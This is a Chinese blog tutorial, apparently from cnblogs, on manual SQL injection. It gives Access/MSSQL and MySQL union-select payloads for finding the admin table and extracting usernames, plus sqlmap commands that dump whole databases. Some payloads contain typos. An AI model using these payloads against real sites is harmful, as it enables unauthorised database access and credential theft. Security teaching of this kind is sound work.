• SQL注入(手工篇)


    开发人员在开发Web系统时对输入的数据没有进行有效的验证及过滤,就存在引发SQL注入漏洞的可能,并导致查看、插入、删除数据库的数据,甚至可以执行主机系统命令。

    1.可能出现asp?id=x的网站

      只能是基于asp、PHP、jsp、aspx的动态网站,并且存在数据库交互,例:登陆、留言板、搜索、新闻。但是静态页面不可以,如html、htm。

    2.漏洞测试

      (1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入;

      (2)利用条件语句测试:利用SQL连接选项‘and’连接URL,把1=1和1=2作为条件同样连接进去,如果条件不成立数据库就会发生变化,代表存在注入,同时也可以判断数据库的类型。

    3.Acess数据库注入(手动)

      (1)使用‘and’语句来判断是否存在注入;

      (2)判断数据库类型;

        and (select count(*) from msysobjects)>0;返回权限不足是access表,反之则MSSQL。

      (3)查看数据库名;

        and db_name()>0

        (4)查看版本信息;

        and 0<>(select @@version)

      (5)查看数据库中是否存在admin这个管理表;

        and exists(select * from [admin])

        and (select count(*) from admin)>0

      (6)查看admin这个表中是否有username这个管理列;

        and exists(select top 1 [username] from [admin])

        and (select username from admin)>0

      (7)猜测admin这个管理列中用户名的长度;

        and (select top 1 len(username) from admin)>0

        后面的长度随意猜测,选择最大返回正常值加1作为长度。

        (8)取出username的ASCII码值;

        and (select top 1 asc(mid(username,N,1)) from admin)>0

        mid()函数用来截取,N为第几位,‘1’代表几位数;得到的结果可用工具小葵进行转换,得到的便是真实值。

    4.MySQL数据库注入(手动)

      (1)判断注入点,后面加#,返回正常则为MySQL数据库;

      (2)判断字段数;

        orderb by 1--

        数字可以不断的加,当返回值改变时,则为全部字段数+1;得到字段数来判断能回显数据的位置

      (3)联合查询,判断可回显数据的位置;

        union select 1,2,3...(上一个得到的字段数)--

        要在URL中加入一个错误的判断值(and 1=2 或在数值前加‘-’号)页面才会显示能够显示数据的位置。

      (4)查看用户,版本,库名

        user(),version(),database()

      (5)查看管理表(常见的管理表命名方式:system、login、admin、users)

        union select 1,table_name(此处为可显示数据的位置),3,...(字段数) from Information_schema.tables where table_schema=(此处为库名的16进制数) limit 0,1--

      (6)查看列

        union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16进制) limit 0,1--

    5.sqlmap

      (1)需要在python环境下运行;

      (2)测试是否为注入点;

        sqlmap.py -u "URL"

      (3)获取数据列表;

        sqlmap.py -u "URL" --dbs

      (4)当前数据库;

        sqlmap.py -u "URL" --current-db

      (5)获取数据库所有表信息;

        sqlmap.py -u "URL" --tables -D "目标数据库"

      (6)获取列;

        sqlmap.py -u "URL" --column -T "管理表" -D “目标数据库”

      (7)获取字段;

        sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目标数据库”

  • 相关阅读:
    软件概要设计
    项目文件-搭建工程
    select标签中设置只读几种解决方案
    PHP ob缓冲区函数的使用
    laravel笔记
    ubuntu系统更新命令
    RBAC权限控制系统
    laravel 数据库获取值的常用方法
    php中获取数据 php://input、$_POST与$GLOBALS['HTTP_RAW_POST_DATA']三者的区别
    php 文件上传 $_FILES 错误码
  • 原文地址:https://www.cnblogs.com/yxq-123/p/11529956.html
Copyright © 2020-2023  润新知